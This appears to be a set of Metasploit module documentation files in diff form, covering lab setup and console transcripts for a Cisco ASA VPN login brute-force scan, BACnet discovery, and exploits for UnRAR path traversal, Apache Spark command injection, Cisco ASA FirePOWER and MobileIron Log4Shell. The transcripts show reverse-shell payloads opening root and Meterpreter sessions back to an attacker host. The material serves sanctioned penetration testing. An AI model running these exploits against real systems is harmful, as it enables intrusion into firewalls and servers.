### ASAv 9.18.1 with Clientless SSL VPN enabled and the `user1:user1` creds set.
|
||||
|
||||
Simply using the default HTTP username and password lists and `user1:user1` added to
|
||||
`data/wordlists/http_default_userpass.txt`.
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
|
||||
RHOST => 10.9.49.201
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
|
||||
|
||||
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
|
||||
[*] Starting login brute force...
|
||||
[+] SUCCESSFUL LOGIN - "user1":"user1"
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) >
|
||||
```
|
||||
|
||||
## ASAv 9.18.1 with Clientless SSL VPN enabled and the `user1:user1` on the `TunnelGroup1` Connection Profile
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false
|
||||
VERBOSE => false
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201
|
||||
RHOST => 10.9.49.201
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
|
||||
|
||||
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
|
||||
[*] Starting login brute force...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set GROUP TunnelGroup1
|
||||
GROUP => TunnelGroup1
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run
|
||||
|
||||
[*] The remote target appears to host Cisco SSL VPN Service. The module will continue.
|
||||
[*] Starting login brute force...
|
||||
[+] SUCCESSFUL LOGIN - "user1":"user1"
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) >
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
## Vulnerable Application
|
||||
BACnet is a Data Communication Protocol for Building Automation and Control Networks.
|
||||
Developed under the auspices of the American Society of Heating,
|
||||
Refrigerating and Air-Conditioning Engineers (ASHRAE), BACnet is an American national standard,
|
||||
a European standard, a national standard in more than 30 countries, and an ISO global standard.
|
||||
The protocol is supported and maintained by ASHRAE Standing Standard Project Committee 135
|
||||
|
||||
This script polls bacnet devices with a l3 broadcast Who-is message
|
||||
and for each reply communicates further to discover more data and saves the data into metasploit.
|
||||
Each bacnet device responds with this data:
|
||||
- It's IP address, and BACnet/IP address (if the device is nested).
|
||||
- It's device number.
|
||||
- Model name.
|
||||
- Application software version.
|
||||
- Firmware revision.
|
||||
- Device description.
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Do: `use auxiliary/scanner/scada/bacnet_l3`.
|
||||
3. Do: `set INTERFACE`.
|
||||
5. Do: `run`.
|
||||
6. Devices running the BACnet protocol should respond with data.
|
||||
|
||||
## Options
|
||||
A user can choose between the interfaces of his host (e.g. eth1, ens192...),
|
||||
the number of Who-is packets to send - for reliability purposes, the time (in seconds) to wait for packets to arrive
|
||||
and the UDP port, the default is 47808.
|
||||
|
||||
The user can always check these options via the `show options` command.
|
||||
|
||||
```
|
||||
msf auxiliary(profinet_siemens) > show options
|
||||
|
||||
Module options (auxiliary/scanner/scada/bacnet_l3):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COUNT 1 yes The number of times to send each packet
|
||||
INTERFACE eth1 yes The interface to scan from
|
||||
PORT 47808 yes BACnet/IP UDP port to scan (usually between 47808-47817)
|
||||
TIMEOUT 1 yes The socket connect timeout in seconds
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following demonstrates a basic scenario, we "detect" two devices:
|
||||
|
||||
```
|
||||
|
||||
msf > use auxiliary/scanner/scada/bacnet_l3
|
||||
msf auxiliary(auxiliary/scanner/scada/bacnet_l3) > run
|
||||
|
||||
[*] Broadcasting Who-is via eth1
|
||||
[*] found 2 devices
|
||||
[*] Querying device number 826001 in ip 192.168.13.11
|
||||
[*] Querying device number 4194303 in ip 192.168.13.12
|
||||
[*] Done scanning
|
||||
[+] for asset number 826001:
|
||||
model name: iSMA-B-4U4A-H-IP
|
||||
firmware revision: 6.2
|
||||
application software version: GC5 6.2
|
||||
description: BACnet iSMA-B-4U4A-H-IP Module
|
||||
|
||||
[+] for asset number 4194303:
|
||||
model name: PXG3.L-1
|
||||
firmware revision: FW=01.21.30.38;WPC=1.4.131;SVS-300:SBC=13.21;
|
||||
application software version:
|
||||
description: BacnetRouter
|
||||
|
||||
[+] Successfully saved data to local store named bacnet-discovery.xml
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -25,6 +25,35 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -node
|
||||
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
|
||||
IP and hostname to your hosts file.
|
||||
|
||||
### Using docker
|
||||
|
||||
Using the environment created by [vulhub](https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160)
|
||||
|
||||
First create a new docker-compose file:
|
||||
|
||||
```
|
||||
version: '2'
|
||||
services:
|
||||
nginx:
|
||||
image: vulhub/openssl:1.0.1c-with-nginx
|
||||
ports:
|
||||
- "8080:80"
|
||||
- "8443:443"
|
||||
```
|
||||
|
||||
Then run `docker-compose up` and verify that the service is running with:
|
||||
|
||||
```
|
||||
$ curl https://localhost:8443 -k
|
||||
<html>
|
||||
<head><title>404 Not Found</title></head>
|
||||
<body bgcolor="white">
|
||||
<center><h1>404 Not Found</h1></center>
|
||||
<hr><center>nginx/1.11.13</center>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable OpenSSL, start the service
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
|
||||
TARGET_PATH => ../../../../../../tmp/docstest.txt
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Target filename: ../../../../../../tmp/docstest.txt
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
```
|
||||
|
||||
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
|
||||
|
||||
```
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
Extracting from /home/ron/.msf4/local/payload.rar
|
||||
|
||||
Extracting hhgdzigwkgv OK
|
||||
Extracting hhgdzigwkgv OK
|
||||
All OK
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
|
||||
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
|
||||
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
|
||||
/tmp/docstest.txt: data
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate, typically it's `payload.rar` and that works fine.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
|
||||
|
||||
### `SYMLINK_FILENAME`
|
||||
|
||||
If set, use a specific filename for the symlink inside the RAR file - default (random) is almost always best.
|
||||
|
||||
### `CUSTOM_PAYLOAD`
|
||||
|
||||
If set, instead of encoding the configured payload, encode data from the given filename.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
|
||||
|
||||
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
|
||||
|
||||
### Built-in payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.bin
|
||||
TARGET_PATH => ../../../../../../../../tmp/evil.bin
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Target filename: ../../../../../../../../tmp/evil.bin
|
||||
[*] Encoding configured payload
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```
|
||||
ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
|
||||
Extracting from ./payload.rar
|
||||
|
||||
Extracting xkmcxqotn OK
|
||||
Extracting xkmcxqotn OK
|
||||
All OK
|
||||
ron@fedora ~/.msf4/local $ file /tmp/evil.bin
|
||||
/tmp/evil.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
|
||||
```
|
||||
|
||||
### Custom payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.sh
|
||||
TARGET_PATH => ../../../../../../../../tmp/evil.sh
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh
|
||||
[*] exec: echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set CUSTOM_PAYLOAD /tmp/test.sh
|
||||
CUSTOM_PAYLOAD => /tmp/test.sh
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```
|
||||
ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
|
||||
Extracting from ./payload.rar
|
||||
|
||||
Extracting jwbhkf OK
|
||||
Extracting jwbhkf OK
|
||||
All OK
|
||||
ron@fedora ~/.msf4/local $ bash /tmp/evil.sh
|
||||
ron
|
||||
/tmp/evil.sh: line 4: $'\177P\336': command not found
|
||||
[...]
|
||||
```
|
||||
|
||||
(The errors at the bottom are because we append random junk to the end for padding)
|
||||
|
||||
|
||||
@@ -0,0 +1,184 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
|
||||
The Apache Spark UI offers the possibility to enable ACLs via the configuration option `spark.acls.enable`.
|
||||
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
|
||||
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.
|
||||
|
||||
Ironically the `spark.acls.enable` configuration setting is designed to improve the security access within the Spark application,
|
||||
but unfortunately this configuration setting triggers the vulnerable code below.
|
||||
|
||||
```
|
||||
private def getUnixGroups(username: String): Set[String] = {
|
||||
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
|
||||
// we need to get rid of the trailing "\n" from the result of command execution
|
||||
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
|
||||
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This will result in arbitrary shell command execution as the user `Spark`.
|
||||
|
||||
This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
|
||||
|
||||
Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.
|
||||
|
||||
To set the server up use the following docker-compose.yml file and follow the steps below:
|
||||
```
|
||||
version: '2'
|
||||
|
||||
services:
|
||||
spark:
|
||||
image: docker.io/bitnami/spark:3.1.1
|
||||
environment:
|
||||
- SPARK_MODE=master
|
||||
- SPARK_RPC_AUTHENTICATION_ENABLED=no
|
||||
- SPARK_RPC_ENCRYPTION_ENABLED=no
|
||||
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
|
||||
- SPARK_SSL_ENABLED=no
|
||||
ports:
|
||||
- '8080:8080'
|
||||
```
|
||||
|
||||
1. Create the docker-compose.yml in your preferred directory and run `docker-compose up`. Let the container spin up.
|
||||
1. In a new terminal, enter `sudo docker exec -it spark_spark_1 /bin/bash`
|
||||
1. In the container bash session, enter: `echo "spark.acls.enable true" >> conf/spark-defaults.conf`
|
||||
1. cat the contents of spark-defaults.conf to make sure it looks good.
|
||||
1. Exit the interactive bash shell and Ctrl-C your docker-compose process.
|
||||
1. Once the containers have powered down gracefully, rerun `docker-compose up`
|
||||
|
||||
Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/linux/http/apache_spark_rce_cve_2022_33891`
|
||||
1. `set RHOSTS <TARGET HOSTS>`
|
||||
1. `set LHOST <Address of Attacking Machine>`
|
||||
1. `exploit`
|
||||
1. You should get a shell or meterpreter as the `spark` user.
|
||||
|
||||
## Options
|
||||
|
||||
No specific options to be set.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
|
||||
rhosts => 192.168.100.43
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
|
||||
|
||||
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.43:8080 can be exploited!
|
||||
[*] Perform sleep test of 10 seconds...
|
||||
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
|
||||
[*] Exploiting...
|
||||
[*] Sending stage (40164 bytes) to 192.168.100.43
|
||||
[-] Meterpreter session 3 is not valid and will be closed
|
||||
[*] 192.168.100.43 - Meterpreter session 3 closed.
|
||||
[*] Sending stage (40168 bytes) to 192.168.100.43
|
||||
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 7a26a9fb7ce3
|
||||
OS : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: spark
|
||||
```
|
||||
|
||||
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option
|
||||
|
||||
Note: This version is vulnerable, however the `spark.acls.enable` option is not set, hence the vulnerable code will not be triggered.
|
||||
Response on POST payload request will be 200 instead of 403.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
|
||||
lhost => 192.168.100.7
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
|
||||
rhosts => 192.168.100.43
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
|
||||
|
||||
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.100.43:8080 can be exploited!
|
||||
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
The check to determine if the application is vulnerable is based on a 403 response and the execution of a randomized `sleep` command.
|
||||
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
|
||||
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.
|
||||
|
||||
Credits goes to HuskyHacks that used this test in his [POC](https://github.com/HuskyHacks/cve-2022-33891) on GitHub.
|
||||
@@ -0,0 +1,152 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an authenticated command injection vulnerability affecting
|
||||
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
|
||||
ASDM web server and lands in the FirePower Services SFR module's Linux virtual
|
||||
machine as the root user. Access to the virtual machine allows the attacker to
|
||||
pivot to the inside network, and access the outside network. Also, the SFR
|
||||
virtual machine is running snort on the traffic flowing through the ASA, so
|
||||
the attacker should have access to this diverted traffic as well.
|
||||
|
||||
This module requires ASDM credentials in order to traverse the ASDM interface.
|
||||
A similar attack can be performed via Cisco CLI (over SSH), although that isn't
|
||||
implemented here. This attack also assumes the module is installed and
|
||||
configured.
|
||||
|
||||
Finally, it's worth noting that this attack bypasses the effects of the
|
||||
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
|
||||
available but this attack makes it available).
|
||||
|
||||
Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
|
||||
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
|
||||
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
|
||||
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
|
||||
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
|
||||
|
||||
### Setup
|
||||
|
||||
Cisco ASA that support the FirePOWER Services module are, to our knowledge,
|
||||
strictly hardware firewalls and not capable of being emulated. As such,
|
||||
testing requires a physical device. Once a device is acquired, you'll
|
||||
additionally need access to Cisco downloads of ASDM, ASA software, and the
|
||||
FirePOWER Services Software for ASA. Unfortunately, Cisco hides these
|
||||
behind a paywall (or a "contract" wall).
|
||||
|
||||
However, if you do acquire a Cisco ASA that supports the FirePOWER Services
|
||||
module, then it will likely come with the module pre-installed. These systems
|
||||
do support downgrading of the module via uninstall and reinstallation. If
|
||||
you need to follow that course, then I found the following [guide](https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5) to be an excellent guide that
|
||||
demonstrates how to install the FirePOWER module from boot image through
|
||||
full installation.
|
||||
|
||||
This particular module exploits the FirePOWER module via ASDM, so you'll need
|
||||
that installed and running as well. Likely, the ASA will have an ASDM binary
|
||||
package already installed, but if not you'll need to download that from Cisco
|
||||
and copy it onto the ASA. However, once that is complete, you can run the
|
||||
following commands to start ASDM and enable it on the inside/outside network.
|
||||
|
||||
```
|
||||
asdm image disk0:/asdm<version>.bin
|
||||
http server enable
|
||||
http network mask inside
|
||||
http network mask outside
|
||||
```
|
||||
|
||||
Where network and mask are who you want to be able to access it and inside
|
||||
is the zone. E.g. "0.0.0.0 0.0.0.0 outside" is the internet. And that should
|
||||
satisfy the pre-requisites for exploitation (ASDM+sfr).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow setup steps above.
|
||||
* Do: `use exploit/linux/http/cisco_asax_sfr_rce`
|
||||
* Do: `set USERNAME <username>`
|
||||
* Do: `set PASSWORD <password>`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `set LHOST <ip>`
|
||||
* Do: `check`
|
||||
* Verify the remote host is vulnerable.
|
||||
* Do: `run`
|
||||
* Verify the module acquires a root shell
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to authenticate with the ASDM http web server with.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password to authenticate with the ASDM http web server with.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful exploitation of ASA 5506-X with FirePOWER Services for a root shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
|
||||
LHOST => 10.0.0.2
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
|
||||
RHOST => 10.0.0.21
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
|
||||
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Successfully executed the 'id' command.
|
||||
[*] Executing Shell Dropper for cmd/unix/reverse_bash
|
||||
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.21:43056 ) at 2022-04-21 12:49:15 -0700
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### Successful exploitation of ASA 5506-X with FirePOWER Services for a Meterpreter shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
|
||||
LHOST => 10.0.0.2
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
|
||||
RHOST => 10.0.0.21
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
|
||||
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Successfully executed the 'id' command.
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://10.0.0.2:8080/FeB2t5vKpa
|
||||
[*] Client 10.0.0.21 (curl/7.48.0) requested /FeB2t5vKpa
|
||||
[*] Sending payload to 10.0.0.21 (curl/7.48.0)
|
||||
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.21:43058 ) at 2022-04-21 12:51:44 -0700
|
||||
[*] Command Stager progress - 100.00% done (111/111 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > shell
|
||||
Process 6315 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
|
||||
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the tomcat user.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
|
||||
### Setup
|
||||
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
|
||||
|
||||
### MobileIron Core Appliance ISO Installation on VMWare Fusion
|
||||
|
||||
1. Obtain a `mobileiron-##.#.#.#-##.iso` file, the following steps utilize `mobileiron-10.6.0.0-23.iso`.
|
||||
2. Use the ISO to create "A New Virtual Machine".
|
||||
3. Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode
|
||||
so that I can hit it over the network.
|
||||
4. Boot the new virtual machine.
|
||||
5. Type `vm-install` at the `boot:` prompt.
|
||||
6. Wait patiently while the VM reboots and begins the install process. The system *will* reboot when installation completes.
|
||||
7. When prompted with `Continue with configuration dialog?`, type `yes`
|
||||
8. Type `q` to clear the license from the screen.
|
||||
9. Accept the End User License Agreement by typing `yes`
|
||||
10. Enter a Company Name / contact / email of your choosing. They don't matter.
|
||||
11. Configure an enable password (e.g. `Labpass1`)
|
||||
12. Enter an admin user name (e.g. `albinolobster`)
|
||||
13. Enter and confirm an admin password (e.g. `Labpass1`)
|
||||
14. Select `a` for the management interface
|
||||
15. Assign a static IP address and network mask that works with your test network. (e.g. `10.9.49.101` and `255.255.255.0`)
|
||||
16. Enter your test networks default gateway (e.g. `10.9.49.1`)
|
||||
